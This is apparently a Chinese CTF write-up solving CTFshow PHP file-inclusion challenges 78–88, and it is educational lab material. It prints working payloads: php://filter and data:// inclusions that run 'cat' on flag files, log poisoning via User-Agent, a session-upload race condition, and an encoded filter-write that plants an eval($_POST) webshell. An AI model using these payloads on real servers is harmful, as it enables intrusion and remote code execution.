[CTFSHOW]文件包含78-88

web 78

php伪协议
payload:

file=php://filter/read=convert.base64-encode/resource=flag.php

web 79

data协议,用base64编码绕过过滤
[CTFSHOW]文件包含78-88_第1张图片
payload:

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web 80-81

利用日志文件getshell
payload:file=/var/log/nginx/access.log
打开bp,由于回显了user-agent,所以插入一句话进去执行命令,发现flag在fl0g.php
[CTFSHOW]文件包含78-88_第2张图片
cat就行
[CTFSHOW]文件包含78-88_第3张图片

web 82-86

把.都过滤了,所以上面的方法不行了

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

看wp,利用PHP_SESSION_UPLOAD_PROGRESS条件竞争进行文件包含
可以参考这篇

构造POST包,有一项是

抓包后在里面添加cookie,设置一个sessid位flag,再插入木马执行命令
[CTFSHOW]文件包含78-88_第4张图片

再抓一个访问/tmp/sess_flag的包,随便设置一个参数用来爆破
[CTFSHOW]文件包含78-88_第5张图片

两个包都弄好了,再一起爆破去进行条件竞争
得到目录,flag在fl0g.php里面
[CTFSHOW]文件包含78-88_第6张图片
命令换成cat就行,继续条件竞争,访问到木马,得到flag
[CTFSHOW]文件包含78-88_第7张图片

web 87

过滤了.并且会在里面拼接die,导致语句无法执行

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "".$content);

}else{
    highlight_file(__FILE__);
}

file_put_contents()函数,把后面的字符串写入前面参数里的文件(xxx.php)

php://filter/write=convert.base64-decode/resource=xxx.php配合上面这个函数使用,把要写入的内容先用base64解码后,再写入xxx.php文件里

要过滤这个die,可以参考p神文章:

  • 前面的file用php://filter/write=convert.base64-encode来解码写入
  • 这样后面的die就会被当做base64的代码被解码,这样die就没有了
  • 后面再拼接base64编码后的一句话木马,被解码后刚好可以执行

由于php被过滤了,但是有一个urldecode,这样就可以把php协议二次编码了

file=php://filter/write=content.base64-decode/resource=123.php,进行二次编码

file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

从p神文章中了解到,PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码
[CTFSHOW]文件包含78-88_第8张图片
所以这里面只有phpdie是会被解码的
由于base64是4个字节一组,而phpdie有六个,所以要给他加两个字母凑足base64的格式

content=aa,里面的php代码进行base64加密

content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

然后网站就生成了一个123.php,里面插入了一句话木马,我们可以通过蚁剑连接
[CTFSHOW]文件包含78-88_第9张图片

web 88

看过滤,可以用data协议,用base64编码

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

当我这样构造命令的时候,base64编码后会有=出现,但是=被过滤
[CTFSHOW]文件包含78-88_第10张图片
可以在后面加空格,可以把=换掉
[CTFSHOW]文件包含78-88_第11张图片
payload:data://text/plain:base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs/PiAg
[CTFSHOW]文件包含78-88_第12张图片

你可能感兴趣的:(刷题记录)